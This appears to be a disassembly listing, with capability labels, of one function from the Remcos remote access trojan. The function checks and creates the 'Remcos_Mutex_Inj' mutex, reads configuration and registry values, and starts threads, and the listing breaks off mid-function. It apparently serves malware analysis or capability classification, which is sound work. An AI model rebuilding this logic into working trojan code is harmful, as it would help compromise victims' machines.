Function at 0x408c98
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00409823
sub esp, 0xc
mov ecx, esp
push 0x41bc80
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x10
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [ebp - 0x28]
push eax
call fcn.004129eb
add esp, 0x24
mov esi, 0x41bcb0
mov ecx, esi
push eax
call fcn.0040a154
lea ecx, [ebp - 0x28]
call fcn.004017dd
mov edi, dword [ebp + 0x10]
mov eax, 0x416548
xor ebx, ebx
mov dl, byte [edi]
mov cl, dl
cmp dl, byte [eax]
jne 0x408d19
cmp cl, bl
je 0x408d15
mov dl, byte [edi + 1]
mov cl, dl
cmp dl, byte [eax + 1]
jne 0x408d19
inc edi
inc edi
inc eax
inc eax
cmp cl, bl
jne 0x408cf7
xor eax, eax
jmp 0x408d1e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x408d81
push 1
push 0x12
push str.licence_code.txt
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
push 0x34
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
pop ecx
pop ecx
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
pop eax
jmp 0x40981c
push 3
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 0x415774
push 0xe
mov ecx, esi
setne al
mov byte [0x41ba21], al
call fcn.0040180c
push eax
lea eax, [ebp - 0x10]
push str.Software_
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov edi, 0x41ba38
mov ecx, edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push 0x32
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
push ebx
push 0x33
mov ecx, esi
setne al
mov byte [0x41bd84], al
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
setne al
cmp byte [0x41bd84], bl
mov byte [0x41bd68], al
je 0x408e72
lea eax, [ebp + 0x10]
mov ecx, edi
push eax
push 0x416524
mov dword [ebp + 0x10], ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b4c8
add esp, 0x10
test al, al
je 0x408e72
push 0x416524
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b95b
push dword [ebp + 0x10]
call fcn.0040a906
add esp, 0x10
push str.Remcos_Mutex_Inj
push ebx
push 0x100000
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x408ea2
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
push 0x41650c
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b4c8
add esp, 0x10
test al, al
je 0x408ee0
push 0x41650c
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b95b
add esp, 0xc
push 0xe
mov ecx, esi
call fcn.0040180c
push eax
mov ecx, 0x41bce8
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, 0x41bce8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x408f1f
push 1
pop ebx
jmp 0x409811
call fcn.00409908
push 0x104
push 0x41ba5c
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00412aeb
push ebx
mov byte [0x41c1e0], al
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea eax, [ebp - 0x10]
push closesocket
push eax
call fcn.0040b522
add esp, 0x14
mov ecx, 0x41bcd8
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp byte [0x41c1e0], bl
je 0x408f7f
push str.__64_bit_
jmp 0x408f84
push str.__32_bit_
mov ecx, 0x41bcd8
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov eax, dword [0x41bc98]
cmp eax, ebx
je 0x408f9f
call eax
mov dword [0x41b158], eax
cmp dword [ebp - 0x14], ebx
jne 0x40900f
push 0x2e
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x40900f
cmp dword [0x41bc98], ebx
je 0x40900f
cmp dword [0x41b158], ebx
je 0x408feb
push ebx
push 0x415f98
mov ecx, 0x41bcd8
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp dword [ecx], eax
jne 0x40900f
call fcn.004031f8
jmp 0x40900f
push str.origmsc
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b47f
add esp, 0xc
test al, al
jne 0x40900f
call fcn.004030ec
push 0x27
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x409029
call fcn.0040a0e1
push 0xb
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00412881
pop ecx
pop ecx
push eax
mov ecx, 0x41ba48
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 4
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 5
mov ecx, esi
setne al
mov byte [0x41ba58], al
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 8
mov ecx, esi
setne al
mov byte [0x41bc64], al
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 3
mov ecx, esi
setne al
mov byte [0x41ba20], al
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x40914d
push 0x30
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
mov edi, eax
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp edi, ebx
je 0x40914d
push 0x30
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004135de
add esp, 0xc
mov ecx, 0x41bc68
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp dword [ebp - 0x14], ebx
jne 0x409314
cmp byte [0x41ba21], bl
mov edi, 0x41ba28
je 0x409201
push 0x1e
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xc
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xa
call fcn.0040180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x30
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
call fcn.00407e37
add esp, 0x14
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
jmp 0x40920e
push 0x41ba5c
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_wcscpy]
pop ecx
pop ecx
push 3
mov ecx, 0x41bcc0
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, 0x41bcc0
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
mov ecx, 0x41ba38
push eax
push dword [ebp + 0x10]
push str.exepath
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b8f8
push dword [ebp + 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x24
lea eax, [ebp + 0x13]
mov ecx, esi
push 1
sub esp, 0x10
mov edi, esp
push eax
push 0x34
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.licence
mov ecx, 0x41ba38
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b708
add esp, 0x20
mov ecx, esi
push 0x415b14
push 0xd
call fcn.0040180c
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x40937f
push 0xd
mov ecx, esi
call fcn.0040180c
sub esp, 0x10
mov ecx, esp
push eax
push ecx
call fcn.00412795
pop ecx
pop ecx
call fcn.00409a2f
add esp, 0x10
cmp al, 1
jne 0x40937f
push 3
jmp 0x408f19
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x2ea]
mov word [ebp - 0x2ec], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x41bcc0
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x2ec]
push 0x208
push eax
push str.exepath
mov ecx, 0x41ba38
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b692
add esp, 0x1c
lea eax, [ebp - 0x2ec]
mov ecx, 0x41ba28
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
push 0x28
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp al, 2
pop ecx
mov byte [0x41bcac], al
jne 0x4093ab
push 1
jmp 0x4093b0
cmp al, 1
jne 0x4093c2
push ebx
call fcn.00413d3d
pop ecx
push ebx
push ebx
push ebx
push 0x413b0f
push ebx
push ebx
call edi
push 0xf
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov al, byte [eax]
lea ecx, [ebp - 0x48]
mov byte [0x41b154], al
lea eax, [ebp + 0x13]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::allocator_unsigned_short_int__const__]
push 0x415800
push 0x31
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00412881
pop ecx
pop ecx
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
mov byte [ebp + 0x13], al
pop ecx
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp + 0x13], bl
je 0x409474
push 0x11
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004135de
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
jmp 0x409528
push 0x31
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00412881
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004135de
add esp, 0xc
mov ecx, 0x41b964
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x11
mov ecx, esi
call fcn.0040180c
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00412881
pop ecx
pop ecx
push eax
push 0x415a24
lea eax, [ebp - 0x28]
push 0x41b964
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x36
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0x3e8
pop ecx
cdq
push 0x37
mov ecx, esi
mov dword [0x41b988], eax
mov dword [0x41b98c], edx
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
cmp byte [eax], bl
setne al
mov byte [0x41b93e], al
movsx eax, byte [0x41b154]
sub eax, 0x31
je 0x40959e
dec eax
jne 0x4095b7
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0x41b900
call fcn.00405232
jmp 0x4095b7
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0x41b900
call fcn.00405180
push 0x14
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x409602
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], bl
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push eax
push 0x410b1b
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x16
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x40964e
push 2
